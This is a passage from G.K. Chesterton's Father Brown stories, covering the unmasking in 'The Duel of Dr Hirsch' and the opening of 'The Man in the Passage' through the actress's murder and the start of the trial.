his own secret formula +in his own official department. By favour of Hirsch and the authorities, +the Duke and I have actually been allowed to inspect the secret drawer +at the War Office where the Hirsch formula is kept. We are the only people +who have ever known it, except the inventor himself and the Minister +for War; but the Minister permitted it to save Hirsch from fighting. +After that we really can't support Dubosc if his revelation +is a mare's nest." + + "And it is?" asked Father Brown. + + "It is," said his friend gloomily. "It is a clumsy forgery +by somebody who knew nothing of the real hiding-place. It says the paper +is in the cupboard on the right of the Secretary's desk. As a fact +the cupboard with the secret drawer is some way to the left of the desk. +It says the grey envelope contains a long document written in red ink. +It isn't written in red ink, but in ordinary black ink. +It's manifestly absurd to say that Hirsch can have made a mistake +about a paper that nobody knew of but himself; or can have tried +to help a foreign thief by telling him to fumble in the wrong drawer. +I think we must chuck it up and apologize to old Carrots." + + Father Brown seemed to cogitate; he lifted a little whitebait +on his fork. "You are sure the grey envelope was in the left cupboard?" +he asked. + + "Positive," replied Flambeau. "The grey envelope-- +it was a white envelope really--was--" + + Father Brown put down the small silver fish and the fork and +stared across at his companion. "What?" he asked, in an altered voice. + + "Well, what?" repeated Flambeau, eating heartily. + + "It was not grey," said the priest. "Flambeau, you frighten me." + + "What the deuce are you frightened of?" + + "I'm frightened of a white envelope," said the other seriously, +"If it had only just been grey! Hang it all, it might as well +have been grey. But if it was white, the whole business is black. +The Doctor has been dabbling in some of the old brimstone after all." + + "But I tell you he couldn't have written such a note!" +cried Flambeau. "The note is utterly wrong about the facts. +And innocent or guilty, Dr Hirsch knew all about the facts." + + "The man who wrote that note knew all about the facts," +said his clerical companion soberly. "He could never have +got 'em so wrong without knowing about 'em. You have to know +an awful lot to be wrong on every subject--like the devil." + + "Do you mean--?" + + "I mean a man telling lies on chance would have told some of the truth," +said his friend firmly. "Suppose someone sent you to find a house +with a green door and a blue blind, with a front garden but no back garden, +with a dog but no cat, and where they drank coffee but not tea. +You would say if you found no such house that it was all made up. +But I say no. I say if you found a house where the door was blue and +the blind green, where there was a back garden and no front garden, +where cats were common and dogs instantly shot, where tea was drunk +in quarts and coffee forbidden--then you would know you had +found the house. The man must have known that particular house +to be so accurately inaccurate." + + "But what could it mean?" demanded the diner opposite. + + "I can't conceive," said Brown; "I don't understand this Hirsch +affair at all. As long as it was only the left drawer instead of +the right, and red ink instead of black, I thought it must be the +chance blunders of a forger, as you say. But three is a mystical number; +it finishes things. It finishes this. That the direction about +the drawer, the colour of ink, the colour of envelope, should none of +them be right by accident, that can't be a coincidence. It wasn't." + + "What was it, then? Treason?" asked Flambeau, resuming his dinner. + + "I don't know that either," answered Brown, with a face +of blank bewilderment. "The only thing I can think of.... +Well, I never understood that Dreyfus case. I can always grasp +moral evidence easier than the other sorts. I go by a man's eyes and voice, +don't you know, and whether his family seems happy, and by what +subjects he chooses--and avoids. Well, I was puzzled in the Dreyfus case. +Not by the horrible things imputed both ways; I know (though it's not +modern to say so) that human nature in the highest places is still capable +of being Cenci or Borgia. No--, what puzzled me was the sincerity +of both parties. I don't mean the political parties; the rank and file +are always roughly honest, and often duped. I mean the persons +of the play. I mean the conspirators, if they were conspirators. +I mean the traitor, if he was a traitor. I mean the men who must have +known the truth. Now Dreyfus went on like a man who knew he was +a wronged man. And yet the French statesmen and soldiers went on +as if they knew he wasn't a wronged man but simply a wrong 'un. +I don't mean they behaved well; I mean they behaved as if they were sure. +I can't describe these things; I know what I mean." + + "I wish I did," said his friend. "And what has it to do +with old Hirsch?" + + "Suppose a person in a position of trust," went on the priest, +"began to give the enemy information because it was false information. +Suppose he even thought he was saving his country by misleading the foreigner. +Suppose this brought him into spy circles, and little loans were made to him, +and little ties tied on to him. Suppose he kept up his contradictory +position in a confused way by never telling the foreign spies the truth, +but letting it more and more be guessed. The better part of him +(what was left of it) would still say: `I have not helped the enemy; +I said it was the left drawer.' The meaner part of him would already +be saying: `But they may have the sense to see that means the right.' +I think it is psychologically possible--in an enlightened age, you know." + + "It may be psychologically possible," answered Flambeau, +"and it certainly would explain Dreyfus being certain he was wronged +and his judges being sure he was guilty. But it won't wash historically, +because Dreyfus's document (if it was his document) was literally correct." + + "I wasn't thinking of Dreyfus," said Father Brown. + + Silence had sunk around them with the emptying of the tables; +it was already late, though the sunlight still clung to everything, +as if accidentally entangled in the trees. In the stillness Flambeau +shifted his seat sharply--making an isolated and echoing noise-- +and threw his elbow over the angle of it. "Well," he said, rather harshly, +"if Hirsch is not better than a timid treason-monger..." + + "You mustn't be too hard on them," said Father Brown gently. +"It's not entirely their fault; but they have no instincts. +I mean those things that make a woman refuse to dance with a man +or a man to touch an investment. They've been taught that +it's all a matter of degree." + + "Anyhow," cried Flambeau impatiently, "he's not a patch +on my principal; and I shall go through with it. Old Dubosc may be +a bit mad, but he's a sort of patriot after all." + + Father Brown continued to consume whitebait. + + Something in the stolid way he did so caused Flambeau's +fierce black eyes to ramble over his companion afresh. "What's the matter +with you?" Flambeau demanded. "Dubosc's all right in that way. +You don't doubt him?" + + "My friend," said the small priest, laying down his knife and fork +in a kind of cold despair, "I doubt everything. Everything, I mean, +that has happened today. I doubt the whole story, though it has been +acted before my face. I doubt every sight that my eyes have seen +since morning. There is something in this business quite different +from the ordinary police mystery where one man is more or less lying +and the other man more or less telling the truth. Here both men.... +Well! I've told you the only theory I can think of that could +satisfy anybody. It doesn't satisfy me." + + "Nor me either," replied Flambeau frowning, while the other +went on eating fish with an air of entire resignation. "If all you +can suggest is that notion of a message conveyed by contraries, +I call it uncommonly clever, but...well, what would you call it?" + + "I should call it thin," said the priest promptly. +"I should call it uncommonly thin. But that's the queer thing +about the whole business. The lie is like a schoolboy's. +There are only three versions, Dubosc's and Hirsch's and that fancy of mine. +Either that note was written by a French officer to ruin a French official; +or it was written by the French official to help German officers; +or it was written by the French official to mislead German officers. +Very well. You'd expect a secret paper passing between such people, +officials or officers, to look quite different from that. +You'd expect, probably a cipher, certainly abbreviations; +most certainly scientific and strictly professional terms. +But this thing's elaborately simple, like a penny dreadful: +`In the purple grotto you will find the golden casket.' It looks as if... +as if it were meant to be seen through at once." + + Almost before they could take it in a short figure in French uniform +had walked up to their table like the wind, and sat down +with a sort of thump. + + "I have extraordinary news," said the Duc de Valognes. +"I have just come from this Colonel of ours. He is packing up +to leave the country, and he asks us to make his excuses sur le terrain." + + "What?" cried Flambeau, with an incredulity quite frightful-- +"apologize?" + + "Yes," said the Duke gruffly; "then and there--before everybody-- +when the swords are drawn. And you and I have to do it while +he is leaving the country." + + "But what can this mean?" cried Flambeau. "He can't be afraid of +that little Hirsch! Confound it!" he cried, in a kind of rational rage; +"nobody could be afraid of Hirsch!" + + "I believe it's some plot!" snapped Valognes--"some plot of +the Jews and Freemasons. It's meant to work up glory for Hirsch..." + + The face of Father Brown was commonplace, but curiously contented; +it could shine with ignorance as well as with knowledge. +But there was always one flash when the foolish mask fell, +and the wise mask fitted itself in its place; and Flambeau, +who knew his friend, knew that his friend had suddenly understood. +Brown said nothing, but finished his plate of fish. + + "Where did you last see our precious Colonel?" asked Flambeau, +irritably. + + "He's round at the Hotel Saint Louis by the Elysee, +where we drove with him. He's packing up, I tell you." + + "Will he be there still, do you think?" asked Flambeau, +frowning at the table. + + "I don't think he can get away yet," replied the Duke; +"he's packing to go a long journey..." + + "No," said Father Brown, quite simply, but suddenly standing up, +"for a very short journey. For one of the shortest, in fact. +But we may still be in time to catch him if we go there in a motor-cab." + + Nothing more could be got out of him until the cab swept +round the corner by the Hotel Saint Louis, where they got out, +and he led the party up a side lane already in deep shadow with +the growing dusk. Once, when the Duke impatiently asked whether +Hirsch was guilty of treason or not, he answered rather absently: +"No; only of ambition--like Caesar." Then he somewhat inconsequently added: +"He lives a very lonely life; he has had to do everything for himself." + + "Well, if he's ambitious, he ought to be satisfied now," +said Flambeau rather bitterly. "All Paris will cheer him +now our cursed Colonel has turned tail." + + "Don't talk so loud," said Father Brown, lowering his voice, +"your cursed Colonel is just in front." + + The other two started and shrank farther back into the shadow +of the wall, for the sturdy figure of their runaway principal +could indeed be seen shuffling along in the twilight in front, +a bag in each hand. He looked much the same as when they first saw him, +except that he had changed his picturesque mountaineering knickers +for a conventional pair of trousers. It was clear he was already +escaping from the hotel. + + The lane down which they followed him was one of those that +seem to be at the back of things, and look like the wrong side +of the stage scenery. A colourless, continuous wall ran down +one flank of it, interrupted at intervals by dull-hued and +dirt-stained doors, all shut fast and featureless save for +the chalk scribbles of some passing gamin. The tops of trees, +mostly rather depressing evergreens, showed at intervals over +the top of the wall, and beyond them in the grey and purple gloaming +could be seen the back of some long terrace of tall Parisian houses, +really comparatively close, but somehow looking as inaccessible +as a range of marble mountains. On the other side of the lane ran +the high gilt railings of a gloomy park. + + Flambeau was looking round him in rather a weird way. +"Do you know," he said, "there is something about this place that--" + + "Hullo!" called out the Duke sharply; "that fellow's disappeared. +Vanished, like a blasted fairy!" + + "He has a key," explained their clerical friend. "He's only gone +into one of these garden doors," and as he spoke they heard one of +the dull wooden doors close again with a click in front of them. + + Flambeau strode up to the door thus shut almost in his face, +and stood in front of it for a moment, biting his black moustache +in a fury of curiosity. Then he threw up his long arms and +swung himself aloft like a monkey and stood on the top of the wall, +his enormous figure dark against the purple sky, like the dark tree-tops. + + The Duke looked at the priest. "Dubosc's escape is +more elaborate than we thought," he said; "but I suppose he is +escaping from France." + + "He is escaping from everywhere," answered Father Brown. + + Valognes's eyes brightened, but his voice sank. "Do you mean +suicide?" he asked. + + "You will not find his body," replied the other. + + A kind of cry came from Flambeau on the wall above. +"My God," he exclaimed in French, "I know what this place is now! +Why, it's the back of the street where old Hirsch lives. I thought +I could recognize the back of a house as well as the back of a man." + + "And Dubosc's gone in there!" cried the Duke, smiting his hip. +"Why, they'll meet after all!" And with sudden Gallic vivacity +he hopped up on the wall beside Flambeau and sat there positively +kicking his legs with excitement. The priest alone remained below, +leaning against the wall, with his back to the whole theatre of events, +and looking wistfully across to the park palings and the twinkling, +twilit trees. + + The Duke, however stimulated, had the instincts of an aristocrat, +and desired rather to stare at the house than to spy on it; +but Flambeau, who had the instincts of a burglar (and a detective), +had already swung himself from the wall into the fork of a straggling tree +from which he could crawl quite close to the only illuminated window +in the back of the high dark house. A red blind had been pulled down +over the light, but pulled crookedly, so that it gaped on one side, +and by risking his neck along a branch that looked as treacherous +as a twig, Flambeau could just see Colonel Dubosc walking about +in a brilliantly-lighted and luxurious bedroom. But close as Flambeau was +to the house, he heard the words of his colleagues by the wall, +and repeated them in a low voice. + + "Yes, they will meet now after all!" + + "They will never meet," said Father Brown. "Hirsch was right +when he said that in such an affair the principals must not meet. +Have you read a queer psychological story by Henry James, +of two persons who so perpetually missed meeting each other by accident +that they began to feel quite frightened of each other, and to think +it was fate? This is something of the kind, but more curious." + + "There are people in Paris who will cure them of such morbid fancies," +said Valognes vindictively. "They will jolly well have to meet +if we capture them and force them to fight." + + "They will not meet on the Day of Judgement," said the priest. +"If God Almighty held the truncheon of the lists, if St Michael +blew the trumpet for the swords to cross--even then, if one of them +stood ready, the other would not come." + + "Oh, what does all this mysticism mean?" cried the Duc de Valognes, +impatiently; "why on earth shouldn't they meet like other people?" + + "They are the opposite of each other," said Father Brown, +with a queer kind of smile. "They contradict each other. +They cancel out, so to speak." + + He continued to gaze at the darkening trees opposite, but Valognes +turned his head sharply at a suppressed exclamation from Flambeau. +That investigator, peering into the lighted room, had just seen +the Colonel, after a pace or two, proceed to take his coat off. +Flambeau's first thought was that this really looked like a fight; +but he soon dropped the thought for another. The solidity and +squareness of Dubosc's chest and shoulders was all a powerful piece +of padding and came off with his coat. In his shirt and trousers +he was a comparatively slim gentleman, who walked across the bedroom to +the bathroom with no more pugnacious purpose than that of washing himself. +He bent over a basin, dried his dripping hands and face on a towel, +and turned again so that the strong light fell on his face. +His brown complexion had gone, his big black moustache had gone; +he--was clean-shaven and very pate. Nothing remained of the Colonel +but his bright, hawk-like, brown eyes. Under the wall Father Brown +was going on in heavy meditation, as if to himself. + + "It is all just like what I was saying to Flambeau. +These opposites won't do. They don't work. They don't fight. +If it's white instead of black, and solid instead of liquid, +and so on all along the line--then there's something wrong, Monsieur, +there's something wrong. One of these men is fair and the other dark, +one stout and the other slim, one strong and the other weak. +One has a moustache and no beard, so you can't see his mouth; +the other has a beard and no moustache, so you can't see his chin. +One has hair cropped to his skull, but a scarf to hide his neck; +the other has low shirt-collars, but long hair to bide his skull. +It's all too neat and correct, Monsieur, and there's something wrong. +Things made so opposite are things that cannot quarrel. +Wherever the one sticks out the other sinks in. Like a face and a mask, +like a lock and a key..." + + Flambeau was peering into the house with a visage as white as a sheet. +The occupant of the room was standing with his back to him, +but in front of a looking-glass, and had already fitted round his face +a sort of framework of rank red hair, hanging disordered from the head and +clinging round the jaws and chin while leaving the mocking mouth uncovered. +Seen thus in the glass the white face looked like the face of Judas +laughing horribly and surrounded by capering flames of hell. +For a spasm Flambeau saw the fierce, red-brown eyes dancing, +then they were covered with a pair of blue spectacles. Slipping on +a loose black coat, the figure vanished towards the front of the house. +A few moments later a roar of popular applause from the street beyond +announced that Dr Hirsch had once more appeared upon the balcony. + + + + + FOUR + + + The Man in the Passage + + +TWO men appeared simultaneously at the two ends of a sort of passage +running along the side of the Apollo Theatre in the Adelphi. +The evening daylight in the streets was large and luminous, +opalescent and empty. The passage was comparatively long and dark, +so each man could see the other as a mere black silhouette at the other end. +Nevertheless, each man knew the other, even in that inky outline; +for they were both men of striking appearance and they hated each other. + + The covered passage opened at one end on one of the steep streets +of the Adelphi, and at the other on a terrace overlooking +the sunset-coloured river. One side of the passage was a blank wall, +for the building it supported was an old unsuccessful theatre restaurant, +now shut up. The other side of the passage contained two doors, +one at each end. Neither was what was commonly called the stage door; +they were a sort of special and private stage doors used by +very special performers, and in this case by the star actor +and actress in the Shakespearean performance of the day. +Persons of that eminence often like to have such private exits +and entrances, for meeting friends or avoiding them. + + The two men in question were certainly two such friends, +men who evidently knew the doors and counted on their opening, +for each approached the door at the upper end with equal coolness +and confidence. Not, however, with equal speed; but the man +who walked fast was the man from the other end of the tunnel, +so they both arrived before the secret stage door almost at +the same instant. They saluted each other with civility, +and waited a moment before one of them, the sharper walker +who seemed to have the shorter patience, knocked at the door. + + In this and everything else each man was opposite and neither +could be called inferior. As private persons both were handsome, +capable and popular. As public persons, both were in the first public rank. +But everything about them, from their glory to their good looks, +was of a diverse and incomparable kind. Sir Wilson Seymour was +the kind of man whose importance is known to everybody who knows. +The more you mixed with the innermost ring in every polity or profession, +the more often you met Sir Wilson Seymour. He was the one intelligent man +on twenty unintelligent committees--on every sort of subject, +from the reform of the Royal Academy to the project of bimetallism +for Greater Britain. In the Arts especially he was omnipotent. +He was so unique that nobody could quite decide whether he was +a great aristocrat who had taken up Art, or a great artist whom +the aristocrats had taken up. But you could not meet him for five minutes +without realizing that you had really been ruled by him all your life. + + His appearance was "distinguished" in exactly the same sense; +it was at once conventional and unique. Fashion could have found no fault +with his high silk hat--, yet it was unlike anyone else's hat-- +a little higher, perhaps, and adding something to his natural height. +His tall, slender figure had a slight stoop yet it looked +the reverse of feeble. His hair was silver-grey, but he did not look old; +it was worn longer than the common yet he did not look effeminate; +it was curly but it did not look curled. His carefully pointed beard +made him look more manly and militant than otherwise, as it does in those +old admirals of Velazquez with whose dark portraits his house was hung. +His grey gloves were a shade bluer, his silver-knobbed cane a shade longer +than scores of such gloves and canes flapped and flourished about +the theatres and the restaurants. + + The other man was not so tall, yet would have struck nobody as short, +but merely as strong and handsome. His hair also was curly, +but fair and cropped close to a strong, massive head--the sort of head +you break a door with, as Chaucer said of the Miller's. +His military moustache and the carriage of his shoulders +showed him a soldier, but he had a pair of those peculiar frank +and piercing blue eyes which are more common in sailors. +His face was somewhat square, his jaw was square, his shoulders +were square, even his jacket was square. Indeed, in the wild school +of caricature then current, Mr Max Beerbohm had represented him as +a proposition in the fourth book of Euclid. + + For he also was a public man, though with quite another +sort of success. You did not have to be in the best society +to have heard of Captain Cutler, of the siege of Hong-Kong, +and the great march across China. You could not get away from +hearing of him wherever you were; his portrait was on every other postcard; +his maps and battles in every other illustrated paper; songs in his honour +in every other music-hall turn or on every other barrel-organ. +His fame, though probably more temporary, was ten times more wide, +popular and spontaneous than the other man's. In thousands of +English homes he appeared enormous above England, like Nelson. +Yet he had infinitely less power in England than Sir Wilson Seymour. + + The door was opened to them by an aged servant or "dresser", +whose broken-down face and figure and black shabby coat and trousers +contrasted queerly with the glittering interior of the great actress's +dressing-room. It was fitted and filled with looking-glasses +at every angle of refraction, so that they looked like the hundred facets +of one huge diamond--if one could get inside a diamond. +The other features of luxury, a few flowers, a few coloured cushions, +a few scraps of stage costume, were multiplied by all the mirrors into +the madness of the Arabian Nights, and danced and changed places +perpetually as the shuffling attendant shifted a mirror outwards +or shot one back against the wall. + + They both spoke to the dingy dresser by name, calling him Parkinson, +and asking for the lady as Miss Aurora Rome. Parkinson said she was +in the other room, but he would go and tell her. A shade crossed the brow +of both visitors; for the other room was the private room of +the great actor with whom Miss Aurora was performing, and she was +of the kind that does not inflame admiration without inflaming jealousy. +In about half a minute, however, the inner door opened, and she entered +as she always did, even in private life, so that the very silence +seemed to be a roar of applause, and one well-deserved. +She was clad in a somewhat strange garb of peacock green and +peacock blue satins, that gleamed like blue and green metals, +such as delight children and aesthetes, and her heavy, hot brown hair +framed one of those magic faces which are dangerous to all men, +but especially to boys and to men growing grey. In company with +her male colleague, the great American actor, Isidore Bruno, +she was producing a particularly poetical and fantastic interpretation +of Midsummer Night's Dream: in which the artistic prominence was given +to Oberon and Titania, or in other words to Bruno and herself. +Set in dreamy and exquisite scenery, and moving in mystical dances, +the green costume, like burnished beetle-wings, expressed all the +elusive individuality of an elfin queen. But when personally confronted +in what was still broad daylight, a man looked only at the woman's face. + + She greeted both men with the beaming and baffling smile +which kept so many males at the same just dangerous distance from her. +She accepted some flowers from Cutler, which were as tropical and expensive +as his victories; and another sort of present from Sir Wilson Seymour, +offered later on and more nonchalantly by that gentleman. +For it was against his breeding to show eagerness, and against his +conventional unconventionality to give anything so obvious as flowers. +He had picked up a trifle, he said, which was rather a curiosity, +it was an ancient Greek dagger of the Mycenaean Epoch, and might well +have been worn in the time of Theseus and Hippolyta. It was made of brass +like all the Heroic weapons, but, oddly enough, sharp enough +to prick anyone still. He had really been attracted to it by +the leaf-like shape; it was as perfect as a Greek vase. +If it was of any interest to Miss Rome or could come in anywhere +in the play, he hoped she would-- + + The inner door burst open and a big figure appeared, who was +more of a contrast to the explanatory Seymour than even Captain Cutler. +Nearly six-foot-six, and of more than theatrical thews and muscles, +Isidore Bruno, in the gorgeous leopard skin and golden-brown garments +of Oberon, looked like a barbaric god. He leaned on a sort of +hunting-spear, which across a theatre looked a slight, silvery wand, +but which in the small and comparatively crowded room looked as plain as +a pike-staff--and as menacing. His vivid black eyes rolled volcanically, +his bronzed face, handsome as it was, showed at that moment +a combination of high cheekbones with set white teeth, which recalled +certain American conjectures about his origin in the Southern plantations. + + "Aurora," he began, in that deep voice like a drum of passion +that had moved so many audiences, "will you--" + + He stopped indecisively because a sixth figure had suddenly +presented itself just inside the doorway--a figure so incongruous +in the scene as to be almost comic. It was a very short man in +the black uniform of the Roman secular clergy, and looking +(especially in such a presence as Bruno's and Aurora's) rather like +the wooden Noah out of an ark. He did not, however, seem conscious +of any contrast, but said with dull civility: "I believe Miss Rome +sent for me." + + A shrewd observer might have remarked that the emotional temperature +rather rose at so unemotional an interruption. The detachment of +a professional celibate seemed to reveal to the others that they +stood round the woman as a ring of amorous rivals; just as a stranger +coming in with frost on his coat will reveal that a room is like a furnace. +The presence of the one man who did not care about her +increased Miss Rome's sense that everybody else was in love with her, +and each in a somewhat dangerous way: the actor with all the appetite +of a savage and a spoilt child; the soldier with all the simple selfishness +of a man of will rather than mind; Sir Wilson with that daily hardening +concentration with which old Hedonists take to a hobby; nay, +even the abject Parkinson, who had known her before her triumphs, +and who followed her about the room with eyes or feet, +with the dumb fascination of a dog. + + A shrewd person might also have noted a yet odder thing. +The man like a black wooden Noah (who was not wholly without shrewdness) +noted it with a considerable but contained amusement. It was evident +that the great Aurora, though by no means indifferent to the admiration +of the other sex, wanted at this moment to get rid of all the men +who admired her and be left alone with the man who did not-- +did not admire her in that sense at least; for the little priest +did admire and even enjoy the firm feminine diplomacy with which +she set about her task. There was, perhaps, only one thing +that Aurora Rome was clever about, and that was one half of humanity-- +the other half. The little priest watched, like a Napoleonic campaign, +the swift precision of her policy for expelling all while banishing none. +Bruno, the big actor, was so babyish that it was easy to send him off +in brute sulks, banging the door. Cutler, the British officer, +was pachydermatous to ideas, but punctilious about behaviour. +He would ignore all hints, but he would die rather than +ignore a definite commission from a lady. As to old Seymour, +he had to be treated differently; he had to be left to the last. +The only way to move him was to appeal to him in confidence as an old +friend, to let him into the secret of the clearance. The priest did +really admire Miss Rome as she achieved all these three objects +in one selected action. + + She went across to Captain Cutler and said in her sweetest manner: +"I shall value all these flowers, because they must be your +favourite flowers. But they won't be complete, you know, +without my favourite flower. Do go over to that shop round the corner +and get me some lilies-of-the-valley, and then it will be quite lovely." + + The first object of her diplomacy, the exit of the enraged Bruno, +was at once achieved. He had already handed his spear in a lordly style, +like a sceptre, to the piteous Parkinson, and was about to assume +one of the cushioned seats like a throne. But at this open appeal to +his rival there glowed in his opal eyeballs all the sensitive insolence +of the slave; he knotted his enormous brown fists for an instant, +and then, dashing open the door, disappeared into his own apartments beyond. +But meanwhile Miss Rome's experiment in mobilizing the British Army +had not succeeded so simply as seemed probable. Cutler had indeed +risen stiffly and suddenly, and walked towards the door, hatless, +as if at a word of command. But perhaps there was something +ostentatiously elegant about the languid figure of Seymour leaning against +one of the looking-glasses that brought him up short at the entrance, +turning his head this way and that like a bewildered bulldog. + + "I must show this stupid man where to go," said Aurora +in a whisper to Seymour, and ran out to the threshold to speed +the parting guest. + + Seymour seemed to be listening, elegant and unconscious +as was his posture, and he seemed relieved when he heard the lady call out +some last instructions to the Captain, and then turn sharply +and run laughing down the passage towards the other end, +the end on the terrace above the Thames. Yet a second or two after +Seymour's brow darkened again. A man in his position has so many rivals, +and he remembered that at the other end of the passage was +the corresponding entrance to Bruno's private room. He did not +lose his dignity; he said some civil words to Father Brown +about the revival of Byzantine architecture in the Westminster Cathedral, +and then, quite naturally, strolled out himself into the upper end +of the passage. Father Brown and Parkinson were left alone, +and they were neither of them men with a taste for superfluous conversation. +The dresser went round the room, pulling out looking-glasses +and pushing them in again, his dingy dark coat and trousers looking +all the more dismal since he was still holding the festive fairy spear +of King Oberon. Every time he pulled out the frame of a new glass, +a new black figure of Father Brown appeared; the absurd glass chamber +was full of Father Browns, upside down in the air like angels, +turning somersaults like acrobats, turning their backs to everybody +like very rude persons. + + Father Brown seemed quite unconscious of this cloud of witnesses, +but followed Parkinson with an idly attentive eye till he took himself +and his absurd spear into the farther room of Bruno. Then he abandoned +himself to such abstract meditations as always amused him-- +calculating the angles of the mirrors, the angles of each refraction, +the angle at which each must fit into the wall...when he heard +a strong but strangled cry. + + He sprang to his feet and stood rigidly listening. +At the same instant Sir Wilson Seymour burst back into the room, +white as ivory. "Who's that man in the passage?" he cried. +"Where's that dagger of mine?" + + Before Father Brown could turn in his heavy boots Seymour was +plunging about the room looking for the weapon. And before he could +possibly find that weapon or any other, a brisk running of feet +broke upon the pavement outside, and the square face of Cutler +was thrust into the same doorway. He was still grotesquely grasping +a bunch of lilies-of-the-valley. "What's this?" he cried. +"What's that creature down the passage? Is this some of your tricks?" + + "My tricks!" hissed his pale rival, and made a stride towards him. + + In the instant of time in which all this happened Father Brown +stepped out into the top of the passage, looked down it, +and at once walked briskly towards what he saw. + + At this the other two men dropped their quarrel and darted after him, +Cutler calling out: "What are you doing? Who are you?" + + "My name is Brown," said the priest sadly, as he bent over something +and straightened himself again. "Miss Rome sent for me, +and I came as quickly as I could. I have come too late." + + The three men looked down, and in one of them at least +the life died in that late light of afternoon. It ran along +the passage like a path of gold, and in the midst of it Aurora Rome lay +lustrous in her robes of green and gold, with her dead face +turned upwards. Her dress was torn away as in a struggle, +leaving the right shoulder bare, but the wound from which +the blood was welling was on the other side. The brass dagger +lay flat and gleaming a yard or so away. + + There was a blank stillness for a measurable time, so that +they could hear far off a flower-girl's laugh outside Charing Cross, +and someone whistling furiously for a taxicab in one of the streets +off the Strand. Then the Captain, with a movement so sudden that it +might have been passion or play-acting, took Sir Wilson Seymour by the +throat. + + Seymour looked at him steadily without either fight or fear. +"You need not kill me," he said in a voice quite cold; "I shall do +that on my own account." + + The Captain's hand hesitated and dropped; and the other added +with the same icy candour: "If I find I haven't the nerve +to do it with that dagger I can do it in a month with drink." + + "Drink isn't good enough for me," replied Cutler, "but I'll have +blood for this before I die. Not yours--but I think I know whose." + + And before the others could appreciate his intention +he snatched up the dagger, sprang at the other door at the lower end +of the passage, burst it open, bolt and all, and confronted Bruno +in his dressing-room. As he did so, old Parkinson tottered +in his wavering way out of the door and caught sight of the corpse +lying in the passage. He moved shakily towards it; looked at it weakly +with a working face; then moved shakily back into the dressing-room again, +and sat down suddenly on one of the richly cushioned chairs. +Father Brown instantly ran across to him, taking no notice of Cutler +and the colossal actor, though the room already rang with their blows +and they began to struggle for the dagger. Seymour, who retained some +practical sense, was whistling for the police at the end of the passage. + + When the police arrived it was to tear the two men +from an almost ape-like grapple; and, after a few formal inquiries, +to arrest Isidore Bruno upon a charge of murder, brought against him +by his furious opponent. The idea that the great national hero of the hour +had arrested a wrongdoer with his own hand doubtless had its weight +with the police, who are not without elements of the journalist. +They treated Cutler with a certain solemn attention, and pointed out +that he had got a slight slash on the hand. Even as Cutler +bore him back across tilted chair and table, Bruno had twisted +the dagger out of his grasp and disabled him just below the wrist. +The injury was really slight, but till he was removed from the room +the half-savage prisoner stared at the running blood with a steady smile. + + "Looks a cannibal sort of chap, don't he?" said the constable +confidentially to Cutler. + + Cutler made no answer, but said sharply a moment after: +"We must attend to the...the death..." and his voice escaped +from articulation. + + "The two deaths," came in the voice of the priest from +the farther side of the room. "This poor fellow was gone +when I got across to him." And he stood looking down at old Parkinson, +who sat in a black huddle on the gorgeous chair. He also had +paid his tribute, not without eloquence, to the woman who had died. + + The silence was first broken by Cutler, who seemed not untouched +by a rough tenderness. "I wish I was him," he said huskily. +"I remember he used to watch her wherever she walked more than--anybody. +She was his air, and he's dried up. He's just dead." + + "We are all dead," said Seymour in a strange voice, +looking down the road. + + They took leave of Father Brown at the corner of the road, +with some random apologies for any rudeness they might have shown. +Both their faces were tragic, but also cryptic. + + The mind of the little priest was always a rabbit-warren +of wild thoughts that jumped too quickly for him to catch them. +Like the white tail of a rabbit he had the vanishing thought that +he was certain of their grief, but not so certain of their innocence. + + "We had better all be going," said Seymour heavily; "we have done +all we can to help." + + "Will you understand my motives," asked Father Brown quietly, +"if I say you have done all you can to hurt?" + + They both started as if guiltily, and Cutler said sharply: +"To hurt whom?" + + "To hurt yourselves," answered the priest. "I would not +add to your troubles if it weren't common justice to warn you. +You've done nearly everything you could do to hang yourselves, +if this actor should be acquitted. They'll be sure to subpoena me; +I shall be bound to say that after the cry was heard each of you +rushed into the room in a wild state and began quarrelling about a dagger. +As far as my words on oath can go, you might either of you have done it. +You hurt yourselves with that; and then Captain Cutler must have +hurt himself with the dagger." + + "Hurt myself!" exclaimed the Captain, with contempt. +"A silly little scratch." + + "Which drew blood," replied the priest, nodding. "We know there's +blood on the brass now. And so we shall never know whether there was +blood on it before." + + There was a silence; and then Seymour said, with an emphasis +quite alien to his daily accent: "But I saw a man in the passage." + + "I know you did," answered the cleric Brown with a face of wood, +"so did Captain Cutler. That's what seems so improbable." + + Before either could make sufficient sense of it even to answer, +Father Brown had politely excused himself and gone stumping +up the road with his stumpy old umbrella. + + As modern newspapers are conducted, the most honest +and most important news is the police news. If it be true that +in the twentieth century more space is given to murder than to politics, +it is for the excellent reason that murder is a more serious subject. +But even this would hardly explain the enormous omnipresence and +widely distributed detail of "The Bruno Case," or "The Passage Mystery," +in the Press of London and the provinces. So vast was the excitement +that for some weeks the Press really told the truth; and the reports +of examination and cross-examination, if interminable, +even if intolerable are at least reliable. The true reason, +of course, was the coincidence of persons. The victim was +a popular actress; the accused was a popular actor; and the accused +had been caught red-handed, as it were, by the most popular soldier +of the patriotic season. In those extraordinary circumstances +the Press was paralysed into probity and accuracy; and the rest of this +somewhat singular business can practically be recorded from reports +of Bruno's trial. + + The trial was presided over by Mr Justice Monkhouse, +one of those who are jeered at as humorous judges, but who are generally +much more serious than the serious judges, for their levity comes from +a living impatience of professional solemnity; while the serious judge +is really filled with frivolity, because he is filled with vanity. +All the chief actors being of a worldly importance, the barristers +were well balanced; the prosecutor for the Crown was Sir Walter Cowdray, +a heavy, but weighty advocate of the sort that knows how to seem +English and trustworthy, and how to be rhetorical with reluctance. +The prisoner was defended by Mr Patrick Butler, K.C., who was mistaken +for a mere flaneur by those who misunderstood the Irish character-- +and those who had not been examined by him. The medical evidence +involved no contradictions, the doctor, whom Seymour had summoned +on the spot, agreeing with the eminent surgeon who had later +examined the body. Aurora Rome had been stabbed with some sharp instrument +such as a knife or dagger; some instrument, at least, of which +the blade was short. The wound was just over the heart, and she had +died instantly. When the doctor first saw her she could hardly +have been dead for twenty minutes. Therefore when Father Brown +found her she could hardly have been dead for three. + + Some official detective evidence followed, chiefly concerned with +the presence or absence of any proof of a struggle; the only suggestion +of this was the tearing of the dress at the shoulder, and this did not seem +to fit in particularly well with the direction and finality of the blow. +When these details had been supplied, though not explained, +the first of the important witnesses was called. + + Sir Wilson Seymour gave evidence as he did everything else +that he did at all--not only well, but perfectly. Though himself +much more of a public man than the judge, he conveyed exactly +the fine shade of self-effacement before the King's justice; +and though everyone looked at him as they would at the Prime Minister +or the Archbishop of Canterbury, they could have said nothing +of his part in it but that it was that of a private gentleman, +with an accent on the noun. He 